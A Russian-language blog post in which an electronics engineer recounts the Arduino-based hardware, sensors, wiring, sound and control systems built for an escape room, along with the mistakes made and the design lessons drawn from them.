* Все сигнальные провода должны быть экранированными.
* Все провода, напряжение на которых выше 40 В, должны иметь изоляцию получше, чем просто тупая пара. 220 по витой паре или лапше — моветон.
* Все выходы должны иметь открытый коллектор/открытый сток.
* Все входы должны принимать сигналы через токовую петлю/оптопары.
* Все устройства, осуществляющие асинхронный приём-передачу, должны иметь формирователь импульса сброса и сторожевой таймер, чтобы быть готовыми к приёму в любой момент.
* Все коммутационные устройства должны иметь искрогасящие цепи. Реле особенно, слипшиеся контакты — это не весело.
* Всякая механика тяжелее килограмма любит редуктор. Люди, ставящие двигатель прямо на кирпич, без редуктора — знайте: длань Сатаны настигнет любого. Просто будьте прокляты :3
* Все индуктивные нагрузки должны иметь встречно-параллельный диод для подавления ЭДС самоиндукции. Если ток может идти в обе стороны (открывающиеся/закрывающиеся замки из автоактуатора, двигатель и т. п.) — вместо диода конденсатор 0.1 мкФ.
* Резисторы, транзисторы и оптопары лишними не бывают.
* Резисторы внатуре лишними не бывают, особенно там где ISP разъём.
* ISP разъём должен быть таким, чтобы его нельзя было вставить вверх тормашками.
* Аккумуляторы не любят глубокий разряд. Неважно какие, любые.
* Б/у аккумуляторы — особенно.
* Кварцевая стабилизация — добро и позитив, как у Сергея Симонова. Мутить 555 в критических ко времени приложениях — зло и негатив.
* Кабель всегда лучше чем радио.
### Датчики движения, дальномеры, герконы и сенсоры — это не датчики присутствия
Хотя оное и написано в описании товара HC-SR501, но — нет. Он НЕ определяет присутствие. Он определяет возмущения в интерференционной картине, которую сенсор видит через линзу Френеля. Присутствие человека в некоторой зоне определяется прерыванием ИК-луча, причём узконаправленного, и то с оговорками. Первоначально предполагалось использовать УЗ-дальномер. К сожалению для дальномера, стены помещения были из пенопласта, окрашенного грунтовкой. Отражения были чудовищными, вдобавок в противоположном конце, за углом был второй дальномер (да-да, читатель, до нас допёрло использовать систему флагов и запрещать одновременную работу обоих датчиков, но всё равно). В общем, показания этих датчиков оказывались близкими к истине лишь по забавной случайности, ну или благодаря «тепличным» условиям, когда излучатели были направлены не на рабочее помещение а куда-нибудь в сторону, где на заднем плане был деревянный стол, мягкая тряпка или ещё что-нибудь такое, неглянцевое, эффективно поглощающее.
Инфракрасный дальномер, к сожалению, некогда было ни покупать, ни испытывать (хотя кому это рассказывали, при таком-то сроке). Поэтому по краям помещения были замурованы ИК-приёмники в одной стене и светодиоды в другой. Делать их видимыми не было никакого прикола, т. к. это бы разрушало атмосферу, и именно поэтому не были использованы датчики препятствия, такие жёлтенькие, с переменным резистором сзади — они отлично работали, но спереди был такой мааааало-мальский красноватый свет, от светодиода который вроде ИК, но не до конца — короче 808 нм. Может 780. В общем, видно их, как подсветку в камерах. К тому же, не хватало дальности, нормально они определяли людей только в пределах 45 см. Поэтому пришлось сделать своё.
В этом поучаствовали VS1838 (кстати универсальная вещь, они ещё понадобились) и TSAL6200, вставленные в трубки из пластмассовых дюбелей. Это не заработало. В робокрафте (пардон, не сочтите за рекламу) продаются ИК-фототранзисторы с двумя выводами, выглядят они как прозрачный светодиод, стоят рублей 15 что-ли, у них резко уменьшается сопротивление при освещении стабильным немодулированным светом 780-1000 нм, и нужно было использовать их. Но за год их так и не купили. Зато у меня была куча VS1838, выдранных из китайских бытовых светильников для подсобных помещений, кто не знает — это такой маленький, менее чувствительный, более дешёвый аналог TSOP1738. Как мы все знаем, 1738 содержит демодулятор, фильтр и АРУ. Поэтому в них нельзя светить немодулированным светом, для датчика он будет просто фоновой засветкой. В общем, передавать в светодиоды пачки импульсов требуемой частоты не составило труда, надо всего-лишь использовать прямой вывод в порт (ибо digitalWrite() слишком медленная для таких вещей), и delayMicroseconds(27). 27 мкс — это где-то примерно полупериод 38 кГц, несущей выделяемой датчиком. Однако, нельзя просто взять и светить на 38 кГц, такой сигнал АРУ считает шумом, поэтому пришлось поделить 38 кГц на пачки импульсов, чтобы сигнал не срезался. Как ни странно, паразитной засветки соседних датчиков (всего их было шесть, расстояние между ними около 35 см) не наблюдалось, особенных провалов по яркости, приводящих к заниженной чувствительности каких-то отдельных датчиков — тоже, но тем не менее. Не. Ра. Бо. Та. Ло.
Мы бы могли заморочиться этой темой, обсудить неоптимальность программы (ибо почему тогда диагностическая программа, в которой дефайном выбирался интерсующий отдельный датчик, работала от и до, идеально?), но это выходит за рамки темы. Скажу лишь, что я редко допускаю ошибки. Если я скручиваю шесть сигнальных проводов в один жгут — я знаю: выход у них — открытый коллектор, в жгуте они **никак** не будут влиять друг на друга. Я знаю что у каждого датчика есть свой конденсатор 0.1 мкФ параллельно питанию, что у каждого светодиода — свой, отдельный резистор, и что вешают несколько светодиодов параллельно на один резистор только конченные. Так что мы не будем останавливаться на этом, надо было использовать фототранзисторы и подавать на светодиоды постоянный ток. Всё. Так же, каждого в трубку чтобы избежать паразитной засветки. Оно могло работать, просто на определённом этапе не было принято нужное решение.
### RFId не вечна, всмысле не бесконечна
RFId-приёмник имеет свою, весьма небольшую, зону чтения. У хороших приёмников она около 7 см. У тех что похуже — 4 см. Катушку можно перемотать (главное учесть, чтобы резонансная частота не слишком далеко ушла от 125 кГц), но опять же — не до любых размеров. Тем не менее, в 2-2.5 раза увеличить её диаметр можно. В действе участвовало три автономных, могущих оказаться где угодно предмета, которые нужно было идентифицировать. Величина двух из этих предметов была близка к габаритам блока питания ATX, соответственно, диаметр катушки исчислялся десятками сантиметров, поэтому от варианта со RFId пришлось отказаться.
Здесь опять же помог ИК-канал, только уже не с такими мощными светодиодами, а послабее (наоборот надо было, чтобы сигнал принимался только в непосредсвенной близости от приёмников). В одном из предметов замуровано 11 светодиодов, светящих под всевозможными углами, потому что предмет круглый. У другого есть деревянная ручка, поэтому там светодиодов только три, так как светить в направлении ручки не нужно, она всё равно торчит вверх, где приёмника нет. Третий предмет достаточно мал, и может быть в его случае даже можно было бы обратить вновь внимание на RFId, но габариты всё равно были несравнимы с зоной чтения.
Все предметы питаются от аккумуляторов 18650 емкостью от 2000 до 3400 мАч. Там где 2000, там б/у. Принцип с ИК прост — ждём долгий промежуток времени (секунды), выдаём чуть дольше миллисекунды квадратный сигнал 38 кГц, чтобы приёмник сработал и выдал чёткий ноль на выходе. Повторяем по вкусу. Первоначально этим занималось два 555х таймера, естественно время уползло непонятно куда, естественно забыли выключить, а таймер **всегда** хочет кушать, и надо ему не абы что а 20 мА, естественно двум б/у банкам это очень не понравилось.
Предметы пришлось вскрывать (да-да, силиконовые конечности зомби, граната Ф1 из чугуна без единого шва, додумайте сами), хотя не так уж много времени это и отняло. Ну, с неделю провозились в общей сложности. Таймеры были заменены на atmega8, код IRRemote туда не вмещался (хотя забавно, через время мне удалось собрать скетч для посылки, и никаких ошибок при выбранном atmega8 компилятор не показал — может быть, у меня тогда уже была новая версия библиотеки). Почему 8? Ну, дёшево, плюс 328 не было в наличии. Программа просто выдавала пачки импульсов с нужной паузой, и через 7000 секунд засыпала, переводя все выходы в высокоимпедансное состояние и отключая всё что можно, чтобы свести потребляемый ток к десяткам микроампер. Это работает и задача решена.
На приёмной стороне три датчика запускают три условия. По приходу импульса запускается счётчик и сохраняется метка времени (millis). Если следущий импульс пришёл в этот же датчик и счётчик достиг n1 — предмет первый, n2 — второй и так далее. Если n достаточно велико а сигнала всё нет, видимо сигнал был случайным и счётчик сбросится. Не думаю что это какой-то мега супер алгоритм, но он решает некоторые проблемы:
1. Прицепить много (то есть больше одного) ИК-приёмника к одному контроллеру — задача не для нубов. Да, даже на mega2560. Да, существует многодатчиковый форк IRRemote. Одиночные датчики и самопальная система условий — проще.
2. Были непонятки с записью кода IRRemote в atmega8. Да, можно было записать RAW пакет, сформировать из него массив а потом опять же выдавать низкоуровневыми функциями и микросекундными задержками, но чё-то было лень.
3. У датчиков длинные провода, мало ли что. Длинные — это больше двух метров.
Сбросить время отсчёта позволяет разъём DC-05 (разъём питания ардуины) — если вставить в него разъём, два из трёх контактов размыкаются, отрезая питание. У третьего предмета разъёма нет (он слишком аутентичный для этого), но там тоже сброс не вызвал проблем — аккумулятор заряжается от TP4056, у неё есть вывод CH, ноль на котором обозначает процесс заряда — он соединён с Reset. Энергию TP4056 получает беспроводным способом через катушку — кладём на зарядную подставку — всё равно что вставили разъём, всё в сбросе. Сняли — сброс не притянут к земле, можно считать импульсы. Насчитали — заснём, глубоко и надолго; чтобы вывести из строя аккумулятор, надо забыть заряжать эту вещь на протяжении года. И то, она разборная. Эти предметы были самым удачным решением, которое получилось почти сразу, пусть с некоторыми плясками.
### Yikes! Invalid device signature. Double check connections and try again or use -F to ignore...
Самая мерзкая ошибка из всей моей практики. Понятия не имеешь, в чём дело. Вот те ситуации, которые возникали у меня:
1. Перепутан порядок проводов MOSI (D11), MISO (D12), SCK (D13).
2. Вместо конденсаторов 22 пФ возле кварца припаяно что-то другое. Как-то раз вместо одного из них оказался резистор 1k. Припаянный надписью вниз.
3. Все шесть проводов должны быть целы. Всегда таскайте тестер (разъём такой разъём), всегда прозванивайте от разъёма прямо до ног контроллера (дефекты дорог на плате никто не отменял). Или даже от ног ведущего контроллера (в программаторе) до ног ведомого.
4. Допустим, плата питается от 12 через 7805. Минусы программатора и 7805 должны быть соединены. Да, все 6 проводов контачат, но ещё раз проверить нелишне.
5. Выбран неверный контроллер.
6. Выбран верный контроллер, но его сигнатура всё равно отличается. Вот что у меня написно для mega328 в hardware\tools\avr\etc\avrdude.conf:
```
# signature = 0x1e 0x95 0x0f; #tqfp32
# signature = 0x1e 0x95 0x14; #dip28
```
С чем работаем, то и раскомментируем.
7. Fuses установлены на внешний кварц (больше 8 МГц), который по факту отсутствует. Тут всегда имейте платку с кварцем и двумя конденсаторами и три провода. А также, **всегда** предусматривайте на плате пады, идущие к XTAL1 и XTAL2. Даже если она точно будет на 8 МГц, от батареек же. Даже если «всего один раз прошить, там точно забыть нельзя». Ещё как можно.
8. Pure f███ing magic? Другая, в точности такая же плата, собранная заново, работала.
### Правдоподобность света
Не используйте для эффектов пламени трёхцветную ленту. Пламя содержит в тех или иных пропорциях жёлтый свет, красный свет. Всё. Попытаетесь использовать для достижения жёлтого сочетание R+G — пламя будет зелёное. Попытаетесь поднять яркость, добавив «белого» синим — будет пламя синее, голубое или фиолетово-персиковое, если жёлтого достаточно. Не надо холодные цвета применять как компоненты основных цветов, вообще, физически не должно быть зелёных и синих светодиодов в этой ленте. Никак от слова совсем. Это решение — самое неудачное принятых. Скорее всего, ленту в светильниках Гудвин и Урфин всё же решат поменять. Каналов там достаточно, этим тоже управляет самопал на atmega8, по сути плата Pro mini, у которой заодно предусмотрены три силовых транзистора на PWM-совместимые выходы. Две жёлтых ленты и одна красная, будет самое то. Все три случайно. Жаль что на глаза не попалась терпимая схема ГСЧ на шумовом диоде, хотя и псевдослучайные опусы atmega8 выглядят терпимо. Но не с зелёным цветом в ленте.
### Стробоскоп
Молния — явление благородное, во всяком случае для нагнетания атмосферности, однако оно не так требовательно как кажется. Проще коммутировать квадрат 1х1 м обклеенный лентой (80 метров, 96 ампер при 12 вольтах, почти 1.2 кВт), чем поджечь одну импульсную лампу 10 кВ импульсом при токе в миллиамперы. Почему? Потому что помеха широкополосная. Стробоскоп в момент вспышки серет везде где можно, на всём спектре будет виднеться явная полоса. Вспышка. Как её убрать, непонятно. Строб, включенный через сетевой фильтр, благополучно вешает и W5100, и ардуину. Единственный удачный эксперимент на эту тему удалось сделать с аккумулятором. Способов отвязать стробоскоп от основной сети — два.
**Способ первый:**
1. Включаем стробоскоп чтобы зарядить рабочий конденсатор. Двумя реле, надо будет отрезать от розетки оба провода питания.
2. Отключаем.
3. Подаём напряжение на поджигающую обмотку, по радио или через оптопару.
**Способ второй:**
1. Переделываем питание стробоскопа на низковольтное, чтобы тот не подключался к розетке вообще.
2. Подаём напряжение на поджигающую обмотку, по радио или через оптопару.
Сторобоскоп надо тщательно экранировать. Вокруг поджигающего трансформатора вообще полезно спаять коробочку из фольгированного материала, так, на всякий случай. И то не факт, что у вас опять что-нибудь не повиснет. А между тем, мощные полевики вполне нормально работают на частотах до 100 кГц, включить 80 метров ленты на 100 мкс — делать н… э-ээ, как два пальца обо..., ну в общем, не подберу я подходящего выражения, главное запастись конденсаторами, чтобы БП не ругался. И помеха будет низкочастотной, а это куда проще фильтровать. Дроссели, электролиты, ну в общем сами понимаете. Понимаю, что это не в пример дороже чем импульсная лампа, зато работать проще.
### Диммеры 220
Может быть создатели не сталкивались с таким, а может быть делали только один канал, и в Сети как-то забыли упомянуть, что напряжение из одного фазового регулятора может утекать во второй, если они стоят рядом. Лечится сетевым фильтром. В микроволновках такой железный, на корпусе написано EMI Filter.
### Датчик нагнетаемого воздуха
Датчик прост, это подвижная шторка из лужёного фольгированного стеклотекстолита, движение которой ограничено рыболовной резинкой. Почему не резинкой для денег? — рыболовная долговечнее. Воздух поступает через трубку диаметром около 2 см. Возможно, здесь бы зашла крыльчатка с энкодером/магнитами + датчики Холла, датчик давления и т. п., но этого не было в наличии (лол, **год** прошёл, до сих про я угараю с этой отмазы про наличие), ну и хотелось сделать датчик максимально дубовым, чтобы к нему могли идти длинные провода. Мало приятного, знаете ли, в занятии «тащить SPI или i2c за 7 метров от ардуины, 7 (семь) метров, Карл».
Датчик я, в общем, считаю удачным, но он имеет недостаток. Этот недостаток заключается в особом временном (темпоральном то есть) профиле сигнала, ADSR-огибающей, так скажем. Существует целый ряд вариантов, как именно воздух будет поступать в датчик, как дуть в него. Можно дуть длинно, можно кратко, часто/редко и так далее. Поэтому, нужны точные временные рамки, ограничивающие сработки датчика до тех и только тех случаев, когда с него приходит ноль, в течение некоторого времени, и спустя это время ноль должен стать единицей, опять же не меньше некоторого времени. Вроде пара условий, но на деле подобрать эти рамки оказалось сложно, и различие в каких-то 100 мс диаметрально изменяло логику срабатывания датчика. Осциллографа, чтобы снять нужные показания во время образцового дутья, а потом под них подогнать систему условий, разумеется не было. Так или иначе, настройка свелась к двум-трём неделям работы и особых фокусов там не было. Даже провода не рвали.
### Кстати о проводах
Это, в основной своей массе, — омеднённая алюминиевая витая пара STP, с экраном из фольги. Раньше там была медная UTP пара, но почти вся она была заменена на экранированную. Во-первых, прекратились натекания непонятно чего на датчики, приводящие раньше к ложным срабатываниям, во-вторых — так спокойнее. Правда биметалл, ну да ладно. Дурость номер раз допустил техник, работающий с проектом до меня — он провёл своей UTP парой **вообще всё**. В том числе и провода светильников, которые первоначально были 220. Потом туда поставили лампы с длинной нитью, жрущие ничтожный ток, и это в принципе, в общем-то, если наплевать на безопасность, было допустимо. Но свет ламп Гудвина с Урфином не устроил и мы их заменили на ленту, подав 12 вместо 220. Так как светильники уже были установлены, там был патрон Е27, и мы просто сделали пару платок на mega8, к которым были подпаяны такие цоколи, которые оторвали с энергосберегающих ламп. Вроде всё путём, но в одной стене в патроне оказалась одна полярность, а в другой стене — другая полярность, и было весело менять вышедшую из строя 7805 когда лампы перепутали. С тех пор на них паяльником выжжены надписи, какая откуда. Потом Урфину и Гудвину захотелось управлять этими лампами, и было увлекательно и занимательно им объяснять, каким именно образом и какие возможности управления сколькими каналами у них есть, по двум проводам, два из которых являются проводами питания. Они как-то сникли, но спорить не стали, это им плюс в карму. Мы ещё вернёмся к этому аспекту, но пока продолжим о проводах.
С ними вообще связано множество интересных решений, ибо всё строилось и подключалось одновременно, я понимаю что всё ради маляра Пети, который не должен курить и тупить, ожидая каменщика Васю, но чисто гипотетически можно было предусмотреть чуточку больше вопросов. Техзадание как таковое рождалось по ходу работы, но мы спишем это на нубство и отсутствие опыта. Последствия этого таковы: 8 метров ленты, это на минутку, почти 10 ампер, питаются от **одной** жилы UTP пары. К чести этой жилы, такой ток она выдерживает (спойлер: не весь) и даже не тёплая, но только благодаря модуляции, а также настоящей, монолитной меди, без всякого биметалла. Тем не менее, если модуляция остановится а на затворе полевика будет единица — полевику всё равно. Спустя час такого режима изоляция расплавится, и парням из Волшебной страны Оз будет весело выковыривать провод, ибо он вбетонирован в пол. Ну не знали они, что в будущем решат приклеить туда **столько** ленты, ну с кем не бывает. Конечно, всего надо будет вытащить от силы сантиметров 70, но тем не менее…
Часть проводов оказалась потом не нужной вовсе. Часть проводов — коаксиальный ТВ кабель для камер (естественно, не IP) и микрофонов. Когда решили немного перетащить DVR, выяснилось что кабели камер и микрофонов надо наращивать. Потом выяснилось, что кабели, которые пробуют силой затолкать в гофру, обычно рвутся в месте пайки. Часть из витых пар была разведена до меня, и тогдашний доктор Эммет Браун решил, что будет здорово в одном кабеле сделать минусы синей и коричневой парой, в другом — синей и зелёной. Мне было привычнее расплетать пары и делать минусом все белые провода, а плюсом — все цветные. Ну согласитесь, так тяжелее полярность перепутать. Выяснять потом эту полярность у оборванных, откушенных кабелей — это была просто песня! Особенно когда на том конце подключен двигатель сопротивлением в пару Ом, и отличить КЗ от не КЗ по сопротивлению невозможно… В общем, спустя месяц можно было сдавать устный зачёт по сопротивлениям всех имеющихся в системе кабелей, а также схемам, провода каких цветов соединены внутри скруток вместе. Это даже не писалось в таблицах, оно вбито в подкорку, как вбивают солдатикам а потом среди ночи спрашивают серийный номер автомата.
### Звуковая подсистема
WTV-020SD16P не зашла. Не любую TF карту читает, нет чётких признаков того, что вообще работает, примеры внятных результатов не дают. Альтернативным вариантом стал самопал на atmega328 с библиотекой TMRpcm. Не устроила амплитуда сигнала, пытались уменьшать резистор на PWM-выходе, уменьшали-уменьшали, 328 возьми да и гавкнись. Поменяли, подключили к такому усилителю, к сякому усилителю, в общем — тихо, говорят. Не устраивает. Даже кто-то из этих челиков озвучил мега светлую мысль последовательно подключить один усилитель (китайскую колонку), а на его выход, там где два провода на динамик — второй усилитель, и это была титаническая задача: довести до его светлого разума простой посыл, гласящий «чувак, ты так просто спалишь вход». Тёмными ночами меня мучают кошмары и я просыпаюсь в холодном липком поту с одной лишь мыслью: а вдруг он мне не поверил? Щютка йумора, мне плевать.
Всего источников звука 6, из них один вуфер и в одной из комнат стереозвук, так что можно условно назвать это 4 зонами, из которых доносится звук. Три первых просто представляют собой различные каналы 5.1 и озвучиваются с компьютера, на последнюю каналов вуфера не хватило. Там стоит компьютер, одна маленькая колонка и одна большая колонка, разнесённые на разные каналы 2.0 (стерео).
При запуске компьютера на нём запускается Firefox, в нём — страница, в странице — бесконечный цикл с AJAX запросом к PHP сценарию, обслуживаемому сервером на том же компьютере. По запросу к PHP извне тот пишет цифру в файл, по запросу AJAX со страницы — говорит цифру, если цифра отличается от прошлой — AJAX, точнее howler.js, проигрывает звук. Куда — зависит от звука, в одних звуках в правом канале полная тишина, они для одной колонки, в других звуках тишина в левом, они для другой колонки.
Компьютер стар и забывает что-то, что позволяло разбудить его по WOL, за несколько часов. То есть, если выключить его, и хоть с телефона, хоть с другого компьютера в течение обозримого времени послать WOL-пакет, компьютер запустится. Проходят сутки и он этого уже не делает Поэтому к его кнопке питания пришлось тащить два провода.
Остальной звук для меня остался тайной, раньше он тоже проигрывался из HTML посредством howler.js, затем новый человек приспособил к своему приложению на Java библиотеку VLC-проигрывателя, сейчас не знаю. Я пойму комментарии в духе «сервер с howler — костыльное решение, где mp3 shield?», объясняю сразу — к тому времени ещё не посетила идея купить, к тому же «вот у нас 5 проигрывателей на WTV020, вот флешки». Это оказалось рабочим решением, и я не считаю его худшим, нежели mp3 shield.
### Командная подсистема
Сейчас она представляет собой два центральных процессора, к которым по длинным проводам подключены датчики/исполнители. Длинные — это значит больше двух метров. Если исполнитель — через IRFZ48N либо релейную плату, либо более мощное реле (60А) если двигатель, либо фазовый регулятор на симисторе+moc3021/3051. Если датчик — через оптопару, чтобы земля датчиков была отвязана от земли Arduino. Длина проводов — до 20 м, так или иначе это либо токовые петли, либо многожильные провода для мощных нагрузок. Почему не развести для них DMX/RS-485 сразу, для меня — загадка. Но, есть то что есть. Раньше они управлялись дистанционно сетью трансиверов nRF24L01+. В протоколе трансиверов был предусмотрен код устройства, код операции и ещё чёртова бабушка, и даже не было коллизий, но он так себе работал совместно с циклом, обслуживающим Ethernet. Запросы приходят часто, т. к. Урфин и Гудвин хотят видеть на компьютере оператора состояние, желательно в реальном времени, поэтому сперва в HTML-интерфейсе, а потом и в Java-службе, был помещён бесконечный цикл, непрерывно опрашивающий состояние, с обоих контроллеров. Естественно, в те 150 миллисекунд, которые контроллер занимался сетью, ему было не до трансиверов.
**Способов сделать эту подсистему лучше, два.**
Во-первых, можно остановить poll-цикл, и присылать состояние только по изменению показаний датчиков. Для этого потребуется передатчик, способный дать сигнал компьютеру (например, последовательный вайфай ESP8266, посылающий для PHP запрос).
Во-вторых, можно разделить систему на отдельные устройства, каждое из которых будет способно напрямую связаться с компьютером, но это потребует наличия сететвого интерфейса на **всех** устройствах, от датчиков до двигателей. Допустим, для нескольких устройств, территориально сосредоточенных возле какой-нибудь двери, и всё же, их потребуется больше чем 2. В общем, сделать TCP/IP периферийнуюю плату из квеста про Космическую одиссею. Такая плата — наилучшее решение, из всех возможных.
### Ориентированность на процесс
Эта теория принадлежит не мне, я ни на чём не настаиваю. И в мыслях нет подвергать сомнению деловые качества Гудвина с Урфином, но ряд принятых ими решений как специально указывал на намерение как можно дальше оттянуть сдачу проекта. Касается это в основном реализации. Самое эпичное, это пожалуй прямое указание сделать все подключения к ардуине механическими, это те стальные штыри 40х2.54 в пластмасске. Зачем это было сделано, когда пайка к плате надёжнее, непонятно. Напоминаю, паялась витая пара. Которая вообще-то жёсткая и из разъёма может выскочить. Которую не припаяешь ко штырю на тяп-ляп, иначе отвалится, обязательна паяльная кислота. Которую затем в месте пайки надо закрыть термоусадкой, мало ли что.
Ранее все, ну или почти все устройства располагались вместе с разъёмами и оптопарами на кросс-плате. Это была самая большая плата из когда-либо изготовленных мной, её размер 305х405 мм. К сожалению, фольгировка была китайская, а потому слой фольги — всего лишь 18 мкм, и лудить её было просто адским занятием. Из-за огромных размеров любые переделки требовали поднимать её полностью, потому что всего там было больше 40 разъёмов, в каждом из которых минимум три провода, и отключать их все чтобы снять — лучше откусить себе голову сразу. Паять что-либо там было дико неудобно, т. к. плата при этом находилась **над** паяльником. К тому же, несмотря на все выверенные разводки, в разъёмах всё равно были допущены ошибки. Минус месяц, и от этой кросс-платы в конечном итоге отказались, хотя подключать к ней исполнители с датчиками было удобнее. Это второе по неудачности решение, первым были и остаются зелёные светодиоды в ленте, имитирующей свет пламени.
Знай мы сразу, что логичнее было расположить всю логику в непосредственной близости от роутера/компьютера, и тащить только провода к конечным устройствам, что не стоило пытаться предусмотреть контроллеры на местах — можно было бы закончить работу гораздо раньше. Однако опыта у нас не было и скорее всего ориентированность на процесс — нечто логично вытекающее из этого. Я этот взгляд не разделяю и считаю что все перепробованные варианты так или иначе были в плюс, т. к. выявили много неудачных решений. Если мне впредь влом будет заниматься escape room — наш опыт будет полезен ещё кому-то из тех, кто читает эту статью.
С одной стороны, какого-либо права вообще рассуждать на эту тему у меня нет: вражеский трон наши доламывают уже без меня. Но меня конкретно напрягали некоторые их решения, идущие вразрез со здравым смыслом и минимизацией затрат. Если наняли меня для принятия каких-то решений — не надо спорить и сомневаться. Если я говорю, что сигнал с динамика одного усилителя подавать на вход другого нельзя, значит у меня есть основания. Если я говорю, что зона чтения RFId недостаточна, значит у меня было время проверить, я ничего не говорю с потолка.
### Человек, на которого была свалена моя работа
На месяце так восьмом к нашему проекту присоединился ещё один персонаж, которого мы назовём Железный Дровосек. У него в распоряжении были некоторые промышленные датчики, и часть устройств претерпело изменения как в конструкции, так и в логике. К тому времени мне уже начинало основательно давать, и его вмешательство, в общем-то, было мною потребовано. Не работало что-то явно рабочее, те же 6 инфракрасных периметров, выполняющих функцию датчика присутствия. С ним, в отличие от Урфина и Гудвина, по крайней мере можно было вести разговоры, ибо он отличал затвор от сопротивления, те же двое меня иногда побуждали вырвать им все зубы, один за другим, без анестезии. Железный Дровосек с ходу предложил несколько исправлений, которые могли повлиять на надёжность, но мало что из этого дало результаты. Тем не менее, совсем недавно, именно им поднимался вопрос о том, чтобы использовать в предметах код IRRemote. То есть эта вещь **уже** была полностью отлаженной, и всё равно у них что-то там случилось. Урфин полез разбирать один из них и устроил КЗ, пришлось менять транзистор. Хотя, это как раз тот момент, в который не следовало бы лишний раз лезть.
Уникальная разработка Железного Дровосека — датчик угла, он был нужен для, скажем, руля с педалями. Чтобы определить, куда его крутят, первоначально там стоял энкодер KY040 с контроллером, альфа-версия даже имела триггеры шмитта и счётчик из схемы PighiXXX, подавляющей дребезг и преобразующей непонятно что фазово сдвинутое в сигналы step/dir. Но вменяемой работы добиться от него не удалось, потом он начал ошибаться, потом вовсе рассыпался, и так было принято решение заменить его диском с дыркой, и двумя фотопрерывателями, состоящими из древнего советского фотодиода ФД265 с компаратором, и белых светодиодов. При повороте диска дырка оказывалась под светодиодами, на компараторах получался ноль, порядок, в котором нули приходили с двух компараторов, позволял оценить направление и примерно положение. Не то что энкодер, но и прерываний не требует, а значит можно подключать по длинным проводам. Длинным — это значит более двух метров. Да ладно, будем честны — к KY040 запросто ставятся оптопары, встречно-параллельный диод, керамика 0.1 мкФ, и получается нормальный энкодер, который можно хоть за сто метров подключать. Тем более что они россыпью валялись в пакетике. Но осадочек остался, связываться уже не хотелось, да и код был уже переписан и работал точнее.
Возникшие впоследствии глюки, скорее всего, были связаны с неисправностью в линии, с какими-то призрачными сигналами которые наводились, но в конечном итоге он работал. Единственным его недостатком было то, что работал он медленно, и при больших оборотах мог что-то пропустить (напоминаю, цикл опроса находился всё там же, в центральном контроллере, который заодно обслуживал и HTTP-запросы от панели управления). Цикл опроса, с ещё кое-какими датчиками, был переселён в pro mini, которая отдавала информацию основному контроллеру через Serial0. Как же было увлекательно гадать, почему оно не работало на Serial1! Но тем не менее, речь здесь не об этом. Датчик угла имел какие-то механические дефекты, и Железный Дровосек заменил его комплексом из чего-то, что определяет движение вообще (двигатель? энкодер? но какая нам разница?), и двух датчиков Холла, выясняющих куда именно происходит движение. Так на свет появилась новая, уже третья версия кода, определяющего число оборотов.
Кроме переделки некоторых датчиков, он занимается оставшейся аппаратной адаптацией проекта. Я не приписываю ему каких-то особых заслуг, но золото за крипа достанется тому, чей удар — последний. Проект завершит этот человек, мне же достанутся лавры сволочи, которая забила на людей, нуждающихся в моей помощи, толстенную сваю. С одной стороны мой поступок — свинство, и я это признаю. С другой стороны, мне были предоставлены определённые условия — когда меня эти условия перестали устраивать, моя богоподобная персона перестала в этих условиях находиться. Всё. А свинство, не свинство — мне как-то индифферентно. Железному Дровосеку же я выражаю свою благодарность — он взялся за то, на что у меня сил уже не осталось.
### Работа над ошибками
Первый и главный шаг к прозрачному и безглючному управлению — плата из Космической одиссеи. Эта вещь **необходима**, она позволяет решить разом кучу проблем:
1. Если у исполнителя нет мощных потребителей, устройство целиком (саму плату и скажем, пару метров ленты, подключенной к плате) можно питать посредством PoE.
2. У вас не будет коллизий в трафике. У вас вообще не будет систематически повторяющихся запросов, а значит в десятки раз меньшая вероятность положить сеть, проворонить ответ или что-нибудь ещё. Всё управление можно будет сделать **полностью** асинхронным — что-то понадобилось от исполнителя — послали запрос — выполнилось. Всё, повторять запрос уже не нужно.
3. У вас будет доступ к информации об исполнителе вообще. Датчики? Да хоть десяток, цепляем через мультиплексор/сдвиговый регистр и видим **каждый**, на каком и сколько. Двигатель? Можно не только включать, но и убедиться что он реально включился, датчиком тока.
Типичный пример «как не надо» — делаем имитацию пламени на восьмой меге, дёшево, элементарно — чего там предусматривать? random() да и только. Как бы не так.
Уверяю, рассуждая таким макаром, вы окажетесь в точно такой же ситуации. Потом вам понадобится поменять цвет пламени, потом плавно гасить/зажигать, потом чёрта с рогами, а проводов управления нет, от слова совсем. И радио не повесишь, потому что SPI занята. Или ещё что-то. И как хочешь — так и крутись, но **роди** решение.
Поэтому самое главное — обеспечить прямой доступ исполнителей к компьютеру и наоборот. Может быть через Modbus. Может быть DMX. Но чем роднее интерфейс, тем меньше геморроя будет в дальнейшем. Самый родной — TCP/IP. Советую не злоупотреблять ESP8266, даже если очень хочется. Есть возможность проложить кабель — используйте кабель.
Далее, возвращаемся к правилам. Датчики прорабатываем от и до, чтобы текущее состояние оценивалось одним взглядом, чтобы всё работало чётко и однозначно. Если датчик дискретный (ноль или единица), на нём не должен появляться уровень посередине. Скрутки пропаиваем или вообще не делаем, разводя всё на шилдах/платах. На проводах не экономим. Полярность не путаем. Точно знаем: если что-то забыть, включить неправильно, сломать способен только дурак — да, именно так, такой дурак найдётся. Включит, забудет, поломает. Поэтому защита, защита и ещё тонны защиты.
Даже себя следует считать дураком. Раньше меня устраивал обычный ардуинный ISP-разъём, но однажды наступил день, когда в моём программаторе умер порт MOSI/D12. Программатор, ясное дело, у меня другой, но и разъём другой — однорядный. И в нём семь проводов, а не шесть. Сначала плюс, потом пустой, потом минус и все остальные. Чтобы наоборот его воткнуть вообще было невозможно. Вы скажете — а где резисторы 100-300 Ом на каждый из этих проводов? И работало бы со стандартным, и вверх тормашками ничего бы не сгорело. Совершенно верно, и резисторы у меня теперь тоже есть. Но разъём симметричным я не стану делать уже никогда.
Ещё один момент — датчики тока. Они дёшевы, это один мощный низкоомный резистор, один подстроечный резистор и половина LM393. Зато будет видно, что дверь уже открылась, но тянущий её двигатель по-прежнему включен, и его обмоткам это не нравится. Рекомендую их ставить на всё, что вообще можно дистанционно включать. На светодиоды/ленту не обязательно, но если светодиодов реально много — то желательно. Куча ленты нагружает источник питания так же хорошо, как и двигатели.
